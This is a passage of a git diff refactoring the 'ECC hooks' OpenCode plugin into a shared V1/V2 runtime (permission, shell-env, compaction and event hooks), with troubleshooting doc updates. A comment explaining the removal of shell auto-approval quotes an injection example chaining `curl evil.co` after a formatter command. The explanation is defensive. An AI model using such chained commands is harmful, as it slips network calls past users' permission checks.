CLAUDE_PLUGIN_ROOT first, so exporting the root here fixes them + // through the mechanism ECC already provides -- rather than editing the + // command files that embed the locator. + // + // Only set when a root actually exists, and never replace a root someone + // else already chose: neither the process environment (set by the user) + // nor `output.env` (set by an earlier plugin). The final merge below + // overwrites output.env, so checking it only in `env` would clobber it. + const rootAlreadySet = Boolean( + (process.env.CLAUDE_PLUGIN_ROOT || "").trim() || (output.env?.CLAUDE_PLUGIN_ROOT || "").trim(), + ) + if (eccRoot && !rootAlreadySet) { + env.CLAUDE_PLUGIN_ROOT = eccRoot + } + + // OpenCode reads the supplied output object and ignores callback return values. + output.env = { ...output.env, ...env } + } + + /** ECC context block preserved through compaction. */ + function buildCompactionContext(): string { + const contextBlock = [ + "# ECC Context (preserve across compaction)", + "", + `## Active Plugin: ECC v${getECCVersion(eccRoot)}`, + "- Hooks: file.edited, tool.execute.before/after, session.created/idle/deleted, shell.env, compacting, permission.ask", + "- Tools: changed-files, dependency-analyzer", + "", + "## Key Principles", + "- TDD: write tests first, 80%+ coverage", + "- Immutability: never mutate, always return new copies", + "- Security: validate inputs, no hardcoded secrets", + "", + ] + + // Include recently edited files + if (editedFiles.size > 0) { + contextBlock.push("## Recently Edited Files") + for (const f of editedFiles) { + contextBlock.push(`- ${f}`) + } + contextBlock.push("") + } + + return [ + contextBlock.join("\n"), + "Focus on preserving: 1) Current task status and progress, 2) Key decisions made, 3) Files created/modified, 4) Remaining work items, 5) Any security concerns flagged. Discard: verbose tool outputs, intermediate exploration, redundant file listings.", + ].join("\n\n") + } + + /** + * Session Compacting Hook (OpenCode-specific): append ECC context without + * replacing the host (or an earlier plugin's) compaction prompt. + */ + const onSessionCompacting = async ( + _input: { sessionID: string }, + output: { context: string[]; prompt?: string }, + ) => { + const eccContext = buildCompactionContext() + // OpenCode requires output assignment and skips context when a prompt is set. + if (output.prompt !== undefined) { + output.prompt = [output.prompt, eccContext].join("\n\n") + } else { + output.context = [...output.context, eccContext] + } + } + + /** + * Permission Auto-Approve Hook (OpenCode-specific): auto-approve reads, + * formatters, and test commands on top of the configured rules. + */ + const onPermissionAsk = async (event: PermissionEvent) => { + log("info", `[ECC] Permission requested for: ${event.tool}`) + + try { + // Handle both string args and object args with command property + let cmd: string + if (typeof event.args === "string") { + cmd = event.args + } else if (event.args && typeof event.args === "object") { + cmd = String((event.args as Record).command || "") + } else { + cmd = String(event.args || "") + } + if (cmd) { + log("debug", `[ECC] Permission resource: ${cmd.slice(0, 120)}`) + } + + // Auto-approve: read/search tools + if (["read", "glob", "grep", "search", "list"].includes(event.tool)) { + log("debug", `[ECC] Auto-approved read-only tool: ${event.tool}`) + return { approved: true, reason: "Read-only operation" } + } + + // T02: no shell-command auto-approval. A regex over the leading + // characters of a free-form shell string is not a safe allow-list — + // cmd/powershell argument modes, quoting, and subshell syntax can all + // defeat it (e.g. `prettier --write x.ts & curl evil.co`, or PowerShell + // `(prettier)`). Formatter and test commands fall through to the user's + // permission system instead. + + // Everything else: let user decide + log("debug", `[ECC] Permission requires user approval: ${event.tool}`) + return { approved: undefined } + } catch (error: unknown) { + // Error in permission handling - log and deny for safety + const errorMessage = error instanceof Error ? error.message : String(error) + log("error", `[ECC] Permission handling error for ${event.tool}: ${errorMessage}`) + return { approved: false, reason: `Error: ${errorMessage}` } + } + } + + // V1 custom tool record: definitions load lazily; a broken tools/ install + // surfaces only when a tool is actually invoked, never at startup. + const tool: Record = {} + for (const name of ["changed-files", "dependency-analyzer"]) { + try { + const definition = await loadToolModule(name) + tool[name] = definition + } catch (error: unknown) { + const errorMessage = error instanceof Error ? error.message : String(error) + log("warn", `[ECC] Custom tool ${name} disabled: ${errorMessage}`) + } + } + + const hooks: Record = { + "file.edited": onFileEdited, + "tool.execute.before": onToolBefore, + "tool.execute.after": onToolAfter, + "session.created": onSessionCreated, + "session.idle": onSessionIdle, + "session.deleted": onSessionDeleted, + "file.watcher.updated": onFileWatcherUpdated, + "todo.updated": onTodoUpdated, + "shell.env": onShellEnv, + "experimental.session.compacting": onSessionCompacting, + "permission.ask": onPermissionAsk, + } + + return { hooks, tool, buildCompactionContext, worktreePath } +} + +/** + * V1 factory surface. OpenCode 1.x (and ECC's own discovery tests) call this + * with { client, $, directory, worktree } and receive the keyed hook map. + * OpenCode 2.x never calls it — it loads the default-exported V2 definition + * below, whose setup() builds this very runtime. + * + * `input.$` is accepted for signature parity and deliberately unused: V2 has + * no Bun shell, and spawning through `$` broke on Windows. + */ +export const ECCHooksPlugin = async (input: { + client: any + $?: any + directory?: string + worktree?: string +}): Promise> => { + const runtime = await createEccRuntime(input) + return { ...runtime.hooks, tool: runtime.tool } +} + export const ECCHooksPluginDefinition = { id: "ecc-hooks", async setup(ctx: any): Promise<() => void> { const directory: string = ctx?.location?.directory ?? process.cwd() - const worktreePath: string = directory - if (registeredDirectories.has(worktreePath)) { + if (registeredDirectories.has(directory)) { return () => {} } - registeredDirectories.add(worktreePath) + registeredDirectories.add(directory) - const editedFiles = new Set() - const pendingToolChanges = new Map() - let writeCounter = 0 + const runtime = await createEccRuntime({ directory, worktree: directory }) + const { hooks, worktreePath } = runtime - function resolvePath(p: string): string { - if (path.isAbsolute(p)) return p - return path.join(worktreePath, p) - } + // Normalize a V2 tool-hook event into the V1 ToolInput shape so both + // surfaces share one implementation. + const toToolInput = (event: LooseRecord): ToolInput => ({ + tool: String(event.tool ?? event.name ?? ""), + callID: event.callID ?? event.id, + args: (event.input ?? event.args) as ToolArgs | undefined, + }) - function hasProjectFile(relativePath: string): boolean { - try { - return fs.statSync(resolvePath(relativePath)).isFile() - } catch { - return false - } - } - - function getFilePath(args: ToolArgs | undefined): string | null { - if (!args) return null - const p = args.filePath ?? args.file_path ?? args.path - return typeof p === "string" && p.trim() ? p : null - } - - // V2 plugins have no client.app.log; console output is captured into the - // server log, which is where the old ECC messages ended up anyway. - const log = (level: "debug" | "info" | "warn" | "error", message: string) => { - try { - const line = `[ecc] ${message}` - if (level === "error") console.error(line) - else if (level === "warn") console.warn(line) - else if (level === "debug") console.debug(line) - else console.log(line) - } catch { - // Logging must never break a hook. - } - } - - const normalizeProfile = (value: string | undefined): HookProfile => { - if (value === "minimal" || value === "strict") return value - return "standard" - } - - const currentProfile = normalizeProfile(process.env.ECC_HOOK_PROFILE) - const disabledHooks = new Set( - (process.env.ECC_DISABLED_HOOKS || "") - .split(",") - .map((item) => item.trim()) - .filter(Boolean), - ) - - const profileOrder: Record = { minimal: 0, standard: 1, strict: 2 } - - const profileAllowed = (required: HookProfile | HookProfile[]): boolean => { - if (Array.isArray(required)) { - return required.some((entry) => profileOrder[currentProfile] >= profileOrder[entry]) - } - return profileOrder[currentProfile] >= profileOrder[required] - } - - const hookEnabled = (hookId: string, requiredProfile: HookProfile | HookProfile[] = "standard"): boolean => { - if (disabledHooks.has(hookId)) return false - return profileAllowed(requiredProfile) - } - - // ECC root detection (see ECC_ROOT_PROBES rationale above). - const trackerRoot = findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.skillTracker) - const eccRoot = findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.resolver) ?? findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.root) - const eccVersion = getECCVersion(eccRoot) - - // Lazy imports so a partial install disables one capability instead of - // crashing the plugin (and previously the session) at load time (#2530). - let changedFilesStore: - | { - initStore?: (dir: string) => void - recordChange?: (p: string, t: string) => void - clearChanges?: () => void - buildTree?: (f?: string) => unknown[] - getChangedPaths?: (f?: string) => { path: string; changeType: string }[] - hasChanges?: () => boolean - } - | undefined - try { - const store = (await import(pathToFileURL(path.join(PLUGIN_DIR, "lib", "changed-files-store.ts")).href)) as any - store.initStore?.(worktreePath) - changedFilesStore = store - } catch { - log( - "warn", - "[ECC] changed-files tracking disabled: could not load the changed-files store. " + - "Run `ecc repair --target opencode` to restore the missing files. Other ECC hooks are unaffected.", - ) - } - - let recordSkillRun: ((payload: unknown) => void) | undefined - try { - const trackerPath = trackerRoot ? path.join(trackerRoot, "scripts", "hooks", "skill-run-tracker.js") : null - if (!trackerPath || !fs.existsSync(trackerPath)) { - throw new Error("skill-run-tracker.js not found") - } - // CJS module loaded from ESM: run() is on the namespace in Node/Bun, but - // a transpiled default export must stay supported. - const loaded = (await import(pathToFileURL(trackerPath).href)) as { run?: (p: unknown) => void; default?: { run?: (p: unknown) => void } } - const entry = typeof loaded.run === "function" ? loaded : loaded.default - if (!entry || typeof entry.run !== "function") { - throw new Error("skill-run-tracker.js exposes no run()") - } - recordSkillRun = entry.run - } catch { - log( - "warn", - "[ECC] skill-run telemetry disabled: could not load scripts/hooks/skill-run-tracker.js. " + - "Run `ecc repair --target opencode` to restore the missing files. Other ECC hooks are unaffected.", - ) - } - - // ------------------------------------------------------------------ - // Hook implementations (bodies preserved from the V1 plugin) - // ------------------------------------------------------------------ - - /** Prettier auto-format + console.log warning + change tracking. */ - const onFileEdited = async (filePath: string) => { - try { - editedFiles.add(filePath) - changedFilesStore?.recordChange?.(filePath, "modified") - - if (hookEnabled("post:edit:format", ["strict"]) && /\.(ts|tsx|js|jsx)$/.test(filePath)) { - try { - await run("npx", ["prettier", "--write", filePath], { cwd: worktreePath }) - log("info", `[ECC] Formatted: ${filePath}`) - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] Prettier formatting failed for ${filePath}: ${errorMessage}`) - } - } - - if (hookEnabled("post:edit:console-warn", ["standard", "strict"]) && /\.(ts|tsx|js|jsx)$/.test(filePath)) { - const count = await countConsoleLogs(filePath).catch(() => 0) - if (count > 0) { - log("warn", `[ECC] console.log found in ${filePath} (${count} occurrence${count > 1 ? "s" : ""})`) - } - } - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] file.edited hook failed: ${errorMessage}`) - } - } - - /** Pre-tool: change bookkeeping, git-push/tmux reminders, doc-file warning. */ - const onToolBefore = async (event: LooseRecord) => { - try { - const toolName: string = event.tool ?? event.name ?? "" - const args = (event.input ?? event.args) as ToolArgs | undefined - const callId: string | undefined = event.callID ?? event.id - - if (toolName === "write") { - const filePath = getFilePath(args) - if (filePath) { - const absPath = resolvePath(filePath) - let type: "added" | "modified" = "modified" - try { - type = fs.existsSync(absPath) ? "modified" : "added" - } catch { - type = "modified" - } - const key = callId ?? `write-${++writeCounter}-${filePath}` - pendingToolChanges.set(key, { path: filePath, type }) - } - } - - // Git push review reminder - if (hookEnabled("pre:bash:git-push-reminder", "strict") && toolName === "bash") { - const cmd = String(args?.command ?? args ?? "") - if (cmd.includes("git push")) { - log("info", "[ECC] Remember to review changes before pushing: git diff origin/main...HEAD") - } - } - - // Block creation of unnecessary documentation files - if (hookEnabled("pre:write:doc-file-warning", ["standard", "strict"]) && toolName === "write") { - const filePath = getFilePath(args) - if ( - filePath && - /\.(md|txt)$/i.test(filePath) && - !filePath.includes("README") && - !filePath.includes("CHANGELOG") && - !filePath.includes("LICENSE") && - !filePath.includes("CONTRIBUTING") - ) { - log("warn", `[ECC] Creating ${filePath} - consider if this documentation is necessary`) - } - } - - // Long-running command reminder - if (hookEnabled("pre:bash:tmux-reminder", "strict") && toolName === "bash") { - const cmd = String(args?.command ?? args ?? "") - if ( - cmd.match(/^(npm|pnpm|yarn|bun)\s+(install|build|test|run)/) || - cmd.match(/^cargo\s+(build|test|run)/) || - cmd.match(/^go\s+(build|test|run)/) - ) { - log("info", "[ECC] Long-running command detected - consider using background execution") - } - } - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] tool.execute.before hook failed: ${errorMessage}`) - } - } - - /** Post-tool: change recording, typecheck, PR log, skill telemetry. */ - const onToolAfter = async (event: LooseRecord) => { - try { - const toolName: string = event.tool ?? event.name ?? "" - const args = (event.input ?? event.args) as ToolArgs | undefined - const callId: string | undefined = event.callID ?? event.id - - const filePath = getFilePath(args) - if (toolName === "edit" && filePath) { - changedFilesStore?.recordChange?.(filePath, "modified") - } - if (toolName === "write" && filePath) { - const key = callId ?? `write-${++writeCounter}-${filePath}` - const pending = pendingToolChanges.get(key) - if (pending) { - changedFilesStore?.recordChange?.(pending.path, pending.type) - pendingToolChanges.delete(key) - } else { - changedFilesStore?.recordChange?.(filePath, "modified") - } - } - - // TypeScript check (strict profile only - it shells out to tsc). - if ( - hookEnabled("post:edit:typecheck", ["strict"]) && - toolName === "edit" && - typeof args?.filePath === "string" && - /\.tsx?$/.test(args.filePath) - ) { - const result = await run("npx", ["tsc", "--noEmit"], { cwd: worktreePath }).catch(() => null) - if (result && result.code === 0) { - log("info", "[ECC] TypeScript check passed") - } else if (result) { - log("warn", "[ECC] TypeScript errors detected:") - const out = (result.stdout || result.stderr || "").split("\n").slice(0, 5) - out.forEach((line) => line.trim() && log("warn", ` ${line}`)) - } - } - - // PR creation logging - if ( - hookEnabled("post:bash:pr-created", ["standard", "strict"]) && - toolName === "bash" && - String(args?.command ?? args ?? "").includes("gh pr create") - ) { - log("info", "[ECC] PR created - check GitHub Actions status") - } - - // Skill telemetry (#2463): OpenCode's tool is named `skill`. - if ( - hookEnabled("post:skill:track", ["standard", "strict"]) && - typeof toolName === "string" && - toolName.trim().toLowerCase() === "skill" - ) { - try { - recordSkillRun?.({ - tool_name: "Skill", - tool_input: args ?? {}, - tool_response: event.result ?? event.output, - }) - } catch { - // Telemetry is best-effort; never let it affect the tool result. - } - } - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] tool.execute.after hook failed: ${errorMessage}`) - } - } - - /** Session idle: console.log audit on edited files + desktop notification. */ - const onSessionIdle = async () => { - if (!hookEnabled("stop:check-console-log", ["minimal", "standard", "strict"])) return - if (editedFiles.size === 0) return - - log("info", "[ECC] Session idle - running console.log audit") - - let totalConsoleLogCount = 0 - const filesWithConsoleLogs: string[] = [] - - for (const file of editedFiles) { - if (!/\.(ts|tsx|js|jsx)$/.test(file)) continue - const count = await countConsoleLogs(file).catch(() => 0) - if (count > 0) { - totalConsoleLogCount += count - filesWithConsoleLogs.push(file) - } - } - - if (totalConsoleLogCount > 0) { - log("warn", `[ECC] Audit: ${totalConsoleLogCount} console.log statement(s) in ${filesWithConsoleLogs.length} file(s)`) - filesWithConsoleLogs.forEach((f) => log("warn", ` - ${f}`)) - log("warn", "[ECC] Remove console.log statements before committing") - } else { - log("info", "[ECC] Audit passed: No console.log statements found") - } - - // Desktop notification, best effort and never blocking: the V1 Windows - // path opened a modal MessageBox on the server; that was replaced with - // a fire-and-forget balloon tip. - try { - if (process.platform === "darwin") { - await run("osascript", ["-e", 'display notification "Task completed!" with title "OpenCode ECC"'], { detached: true }).catch(() => {}) - } else if (process.platform === "win32") { - const ps = - "$ni = New-Object System.Windows.Forms.NotifyIcon; $ni.Icon = [System.Drawing.SystemIcons]::Information; " + - "$ni.Visible = $true; $ni.ShowBalloonTip('OpenCode ECC', 'Task completed!', 'Info'); " + - "Start-Sleep -Seconds 5; $ni.Dispose()" - await run("powershell", ["-NoProfile", "-WindowStyle", "Hidden", "-Command", `Add-Type -AssemblyName System.Windows.Forms; ${ps}`], { - detached: true, - }).catch(() => {}) - } else if (process.platform === "linux") { - await run("notify-send", ["OpenCode ECC", "Task completed!"], { detached: true }).catch(() => {}) - } - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] Desktop notification failed: ${errorMessage}`) - } - - editedFiles.clear() - } - - /** Inject ECC environment variables into shell commands. */ - let cachedEnv: Record | undefined - function computeEccEnv(): Record { - if (cachedEnv) return cachedEnv - const env: Record = { - ECC_VERSION: eccVersion, - ECC_PLUGIN: "true", - ECC_HOOK_PROFILE: currentProfile, - ECC_DISABLED_HOOKS: process.env.ECC_DISABLED_HOOKS || "", - PROJECT_ROOT: worktreePath, - } - - const lockfiles: Record = { - "bun.lockb": "bun", - "pnpm-lock.yaml": "pnpm", - "yarn.lock": "yarn", - "package-lock.json": "npm", - } - for (const [lockfile, pm] of Object.entries(lockfiles)) { - if (hasProjectFile(lockfile)) { - env.PACKAGE_MANAGER = pm - break - } - } - - const langDetectors: Record = { - "tsconfig.json": "typescript", - "go.mod": "go", - "pyproject.toml": "python", - "Cargo.toml": "rust", - "Package.swift": "swift", - } - const detected: string[] = [] - for (const [file, lang] of Object.entries(langDetectors)) { - if (hasProjectFile(file)) detected.push(lang) - } - if (detected.length > 0) { - env.DETECTED_LANGUAGES = detected.join(",") - env.PRIMARY_LANGUAGE = detected[0] - } - - // Commands embed resolve-ecc-root.js, which reads CLAUDE_PLUGIN_ROOT - // first; exporting the root here fixes them without editing command files. - // Never replace a root someone else already chose. - if (eccRoot && !(process.env.CLAUDE_PLUGIN_ROOT || "").trim()) { - env.CLAUDE_PLUGIN_ROOT = eccRoot - } - - cachedEnv = env - return env - } - - /** ECC context block preserved through compaction. */ - function buildCompactionContext(): string { - const contextBlock = [ - "# ECC Context (preserve across compaction)", - "", - `## Active Plugin: ECC v${eccVersion}`, - "- Hooks: file.edited, tool.execute.before/after, session.created/idle/deleted, shell env, compaction, permission", - "- Tools: changed-files, dependency-analyzer", - "", - "## Key Principles", - "- TDD: write tests first, 80%+ coverage", - "- Immutability: never mutate, always return new copies", - "- Security: validate inputs, no hardcoded secrets", - "", - ] - - if (editedFiles.size > 0) { - contextBlock.push("## Recently Edited Files") - for (const f of editedFiles) contextBlock.push(`- ${f}`) - contextBlock.push("") - } - - contextBlock.push( - "Focus on preserving: 1) Current task status and progress, 2) Key decisions made, 3) Files created/modified, 4) Remaining work items, 5) Any security concerns flagged. Discard: verbose tool outputs, intermediate exploration, redundant file listings.", - ) - return contextBlock.join("\n") - } - - /** Auto-approve safe operations on top of the configured rules. */ - const READ_ONLY_ACTIONS = ["read", "glob", "grep", "search", "list"] - const FORMATTER_RE = /^(npx )?(@biomejs\/biome|prettier|black|gofmt|rustfmt|swift-format)/ - const TEST_RE = /^(npm test|npx vitest|npx jest|pytest|go test|cargo test)/ - - const onPermissionEvaluate = async (event: LooseRecord) => { - try { - const action: string = String(event.action ?? "") - const resource: string = String(event.resources?.[0] ?? "") - log("debug", `[ECC] Permission evaluated: ${action} ${resource}`) - - if (READ_ONLY_ACTIONS.includes(action)) { - event.effect = "allow" - event.message = "ECC: read-only operation" - return - } - if ((action === "bash" || action === "shell" || action === "execute") && (FORMATTER_RE.test(resource) || TEST_RE.test(resource))) { - event.effect = "allow" - event.message = "ECC: formatter/test execution" - return - } - // Everything else: leave the configured decision in place. - } catch (error: unknown) { - // On error, keep the configured behavior rather than denying outright. - const errorMessage = error instanceof Error ? error.message : String(error) - log("error", `[ECC] Permission handling error: ${errorMessage}`) - } - } + logStartup(directory) // ------------------------------------------------------------------ // Registration on the V2 domains (each guarded so a missing domain in an @@ -607,70 +1003,80 @@ export const ECCHooksPluginDefinition = { // ------------------------------------------------------------------ const registrations: { dispose?: () => Promise | void }[] = [] + const controller = new AbortController() + const safe = + any>(label: string, fn: T) => + async (...args: Parameters) => { + try { + return await fn(...args) + } catch (error: unknown) { + const errorMessage = error instanceof Error ? error.message : String(error) + console.debug(`[ecc] ${label} hook failed: ${errorMessage}`) + return undefined + } + } + + // All domain registrations happen inside registerDomains() so a failure + // half-way through can be rolled back (T10): already-registered hooks are + // disposed and the directory guard is released for a later retry. + const registerDomains = async (): Promise => { if (typeof ctx?.tool?.hook === "function") { - registrations.push(await ctx.tool.hook("execute.before", onToolBefore)) - registrations.push(await ctx.tool.hook("execute.after", onToolAfter)) + registrations.push(await ctx.tool.hook("execute.before", safe("execute.before", (event: LooseRecord) => hooks["tool.execute.before"](toToolInput(event), {})))) + registrations.push( + await ctx.tool.hook("execute.after", safe("execute.after", (event: LooseRecord) => + hooks["tool.execute.after"](toToolInput(event), { result: event.result ?? event.output }), + )), + ) } if (typeof ctx?.shell?.hook === "function") { registrations.push( - await ctx.shell.hook("create.before", (event: LooseRecord) => { - try { - const eccEnv = computeEccEnv() - event.env = { ...(event.env ?? {}) } - for (const [key, value] of Object.entries(eccEnv)) { - // Never replace values set by the user or an earlier plugin. - if (event.env[key] === undefined || event.env[key] === "") event.env[key] = value - } - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] shell env hook failed: ${errorMessage}`) - } - }), + await ctx.shell.hook( + "create.before", + safe("shell.env", async (event: LooseRecord) => { + const output = { env: { ...(event.env ?? {}) } as Record } + await hooks["shell.env"]({ cwd: worktreePath }, output) + event.env = output.env + }), + ), ) } if (typeof ctx?.session?.hook === "function") { registrations.push( - await ctx.session.hook("compaction", (event: LooseRecord) => { - try { + await ctx.session.hook( + "compaction", + safe("compaction", (event: LooseRecord) => { event.system = event.system ?? [] - event.system.push({ type: "text", text: buildCompactionContext() }) - } catch (error: unknown) { - const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] compaction hook failed: ${errorMessage}`) - } - }), + event.system.push({ type: "text", text: runtime.buildCompactionContext() }) + }), + ), ) } if (typeof ctx?.permission?.hook === "function") { - registrations.push(await ctx.permission.hook("evaluate", onPermissionEvaluate)) + registrations.push( + await ctx.permission.hook( + "evaluate", + safe("permission.evaluate", async (event: LooseRecord) => { + const action = String(event.action ?? "") + const resource = String(event.resources?.[0] ?? "") + const decision = await hooks["permission.ask"]({ tool: action, args: resource }) + // approved === true -> allow; approved undefined/false -> keep the + // configured decision (V1 semantics, never a hard deny on drift). + if (decision?.approved === true) { + event.effect = "allow" + event.message = `ECC: ${decision.reason}` + } + }), + ), + ) } // Custom tools: registered through a transform, resolving the V1 tool // modules lazily inside execute so a broken tools/ install only affects // these two tools when actually invoked. - const toolModuleCache = new Map>() - async function loadV1Tool(name: string): Promise<{ execute: (args: any, context: any) => Promise }> { - let p = toolModuleCache.get(name) - if (!p) { - p = import(pathToFileURL(path.resolve(PLUGIN_DIR, "..", "tools", `${name}.ts`)).href) - .then((mod: any) => (typeof mod?.default === "function" ? { execute: mod.default } : mod.default)) - .catch((error: unknown) => { - toolModuleCache.delete(name) - throw new Error( - `${name} tool: could not load ECC tool module. Run \`ecc repair --target opencode\` to restore the missing files. (${ - error instanceof Error ? error.message : String(error) - })`, - ) - }) - toolModuleCache.set(name, p) - } - return p - } - if (typeof ctx?.tool?.transform === "function") { registrations.push( await ctx.tool.transform((editor: any) => { @@ -687,7 +1093,7 @@ export const ECCHooksPluginDefinition = { additionalProperties: false, }, execute: async (input: any, context: any) => { - const mod = await loadV1Tool("changed-files") + const mod = await loadToolModule("changed-files") const result = await mod.execute(input ?? {}, context ?? { directory: worktreePath, worktree: worktreePath }) return { content: String(result) } }, @@ -706,7 +1112,7 @@ export const ECCHooksPluginDefinition = { additionalProperties: false, }, execute: async (input: any, context: any) => { - const mod = await loadV1Tool("dependency-analyzer") + const mod = await loadToolModule("dependency-analyzer") const result = await mod.execute(input ?? {}, context ?? { directory: worktreePath, worktree: worktreePath }) return { content: String(result) } }, @@ -717,7 +1123,6 @@ export const ECCHooksPluginDefinition = { // Event-driven hooks: V1 returned keyed handlers; V2 delivers these as // public server events on a subscription stream. - const controller = new AbortController() if (typeof ctx?.event?.subscribe === "function") { void (async () => { try { @@ -728,74 +1133,82 @@ export const ECCHooksPluginDefinition = { switch (type) { case "file.edited": { const p = props.file ?? props.path ?? props.filePath - if (typeof p === "string") await onFileEdited(p) + if (typeof p === "string") await hooks["file.edited"]({ path: p }) break } case "file.watcher.updated": { const p = props.file ?? props.path - if (typeof p !== "string") break - const changeType = props.type - let mapped: "added" | "modified" | "deleted" = "modified" - if (changeType === "create" || changeType === "add") mapped = "added" - else if (changeType === "delete" || changeType === "remove") mapped = "deleted" - changedFilesStore?.recordChange?.(p, mapped) - if (changeType === "change" && /\.(ts|tsx|js|jsx)$/.test(p)) editedFiles.add(p) + if (typeof p === "string") await hooks["file.watcher.updated"]({ path: p, type: String(props.type ?? "") }) break } - case "session.created": { - if (!hookEnabled("session:start", ["minimal", "standard", "strict"])) break - log("info", `[ECC] Session started - profile=${currentProfile}`) - if (hasProjectFile("CLAUDE.md")) log("info", "[ECC] Found CLAUDE.md - loading project context") + case "session.created": + await hooks["session.created"]() break - } - case "session.idle": { - await onSessionIdle() + case "session.idle": + await hooks["session.idle"]() break - } - case "session.deleted": { - if (!hookEnabled("session:end-marker", ["minimal", "standard", "strict"])) break - log("info", "[ECC] Session ended - cleaning up") - editedFiles.clear() - changedFilesStore?.clearChanges?.() - pendingToolChanges.clear() + case "session.deleted": + await hooks["session.deleted"]() break - } - case "todo.updated": { - const todos: { done: boolean }[] = Array.isArray(props.todos) ? props.todos : [] - if (todos.length > 0) { - const completed = todos.filter((t) => t.done).length - log("info", `[ECC] Progress: ${completed}/${todos.length} tasks completed`) - } + case "todo.updated": + await hooks["todo.updated"]({ todos: Array.isArray(props.todos) ? props.todos : [] }) break - } default: break } } catch (error: unknown) { const errorMessage = error instanceof Error ? error.message : String(error) - log("debug", `[ECC] event ${type} handler failed: ${errorMessage}`) + console.debug(`[ecc] event ${type} handler failed: ${errorMessage}`) } } - } catch { - // Subscription aborted during unload - expected. + } catch (error: unknown) { + // T12: distinguish a normal unload abort from a real stream failure. + if (controller.signal.aborted) return // expected during disposal + const errorMessage = error instanceof Error ? error.message : String(error) + console.warn(`[ecc] event subscription failed (hooks still registered): ${errorMessage}`) } })() } + } - log("info", `[ECC] hooks plugin v${eccVersion} loaded (profile=${currentProfile}, directory=${worktreePath})`) - - return () => { + // T10: if any registration after the guard was taken throws, dispose the + // registrations already made and release the directory guard so a later + // load attempt can succeed instead of being silently skipped forever. + try { + await registerDomains() + } catch (error: unknown) { controller.abort() - registeredDirectories.delete(worktreePath) - for (const registration of registrations) { - try { - void registration?.dispose?.() - } catch { - // Best-effort dispose. - } - } + registeredDirectories.delete(directory) + await disposeRegistrations(registrations) + throw error + } + + return async () => { + controller.abort() + registeredDirectories.delete(directory) + await disposeRegistrations(registrations) } }, } +/** Dispose every registration, awaiting promises so no rejection is unhandled. */ +async function disposeRegistrations( + registrations: { dispose?: () => Promise | void }[], +): Promise { + for (const registration of registrations) { + try { + // T13: the dispose result may be a promise; chain a catch so a + // rejection is never left unhandled, and await it in this loop. + await Promise.resolve().then(() => registration?.dispose?.()) + } catch { + // Best-effort dispose. + } + } +} + +function logStartup(directory: string) { + // Mirrors the V1 startup line used in server-log triage (TROUBLESHOOTING.md). + console.log(`[ecc] hooks plugin v${getECCVersion(findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.root))} loaded (directory=${directory})`) +} + export default ECCHooksPluginDefinition diff --git a/.opencode/plugins/index.ts b/.opencode/plugins/index.ts index 7db884e16..597504a38 100644 --- a/.opencode/plugins/index.ts +++ b/.opencode/plugins/index.ts @@ -2,14 +2,16 @@ * ECC plugins directory entry for OpenCode 2.x. * * This file is intentionally inert in normal installs. OpenCode 2.x loads - * every root-level `.ts` file in a plugins directory AND the directory - * itself through this entry point, so re-exporting the real plugin from - * here would register the id `ecc-hooks` twice and OpenCode would mark the - * extra entries `failed: Duplicate plugin ID` (shown in red in the TUI - * plugins panel). + * plugins by scanning every root-level file in a plugins directory, so + * re-exporting the real plugin from here would register the id `ecc-hooks` + * twice — once per discovered entry — and OpenCode would mark the extra + * entries `failed: Duplicate plugin ID` (shown in red in the TUI plugins + * panel). * - * The configuration in `.opencode/opencode.json` therefore points directly - * at `./plugins/ecc-hooks.ts`. This stub keeps: + * `.opencode/opencode.json` carries no `plugin` entry at all: OpenCode 2.x + * ignores configured file paths ("configured plugin path must be a + * directory"), so `./plugins/ecc-hooks.ts` is discovered from the directory. + * This stub keeps: * - the file present for the installer/uninstall plan (`ecc repair`), and * - a distinct id so a stray directory load can never collide with or * shadow the real hooks plugin, and never throws the V2 schema error diff --git a/TROUBLESHOOTING.md b/TROUBLESHOOTING.md index 1ec2013e1..7e173f03f 100644 --- a/TROUBLESHOOTING.md +++ b/TROUBLESHOOTING.md @@ -367,11 +367,16 @@ plugin, not ECC — ECC never writes to `~/.config/opencode/`. Fix the model pre `{ id, setup(ctx) }` and does not run V1 implementations (see [migrate-v1](https://opencode.ai/v2/docs/build/plugins/migrate-v1)). Cause A produces the `Expected object at ["default"]` schema error. -- **Triple registration.** OpenCode 2.x scans every root-level `.ts` file in a - plugins directory **and** loads the directory itself through its `index.ts`. - If `index.ts` re-exports the same definition (or points at `ecc-hooks.ts`), - the id `ecc-hooks` registers two-to-three times; all but the first entry are - marked `failed: Duplicate plugin ID`. +- **Duplicate registration.** OpenCode 2.x loads plugins by directory + discovery: every root-level file in a plugins directory is a separate + entry. If `index.ts` re-exports the same definition as `ecc-hooks.ts`, the + id `ecc-hooks` registers twice; all but the first entry are marked + `failed: Duplicate plugin ID`. A copy of the same file in both the global + config plugins dir and the project `.opencode/plugins/` compounds it. + Note that the `plugin` config array does **not** accept file paths — an + entry like `"./plugins/ecc-hooks.ts"` logs "configured plugin path must be + a directory" and is skipped (verified against OpenCode 2.2.5's + `config/plugin/source.ts`), so it cannot pin or dedupe entries. **Fix layout (current design):** @@ -381,15 +386,17 @@ plugin, not ECC — ECC never writes to `~/.config/opencode/`. Fix the model pre `permission.ask` → `ctx.permission.hook("evaluate", ...)` (mutate `event.effect`), keyed event handlers (`file.edited`, `session:*`, `todo.updated`) → `ctx.event.subscribe()` filtered on `event.type`. -- `opencode.json` lists `"plugin": ["./plugins/ecc-hooks.ts"]` — the exact - file, **not** `"./plugins"` — so the directory is never loaded as a second - package. +- `opencode.json` carries **no** `plugin` entry for the hooks file. OpenCode + 2.x discovers `plugins/ecc-hooks.ts` from the plugins directory; a configured + file path would be ignored with a warning anyway. - `plugins/index.ts` is an inert stub with the distinct id `ecc-hooks-entry`. Never make it re-export the real definition: that is 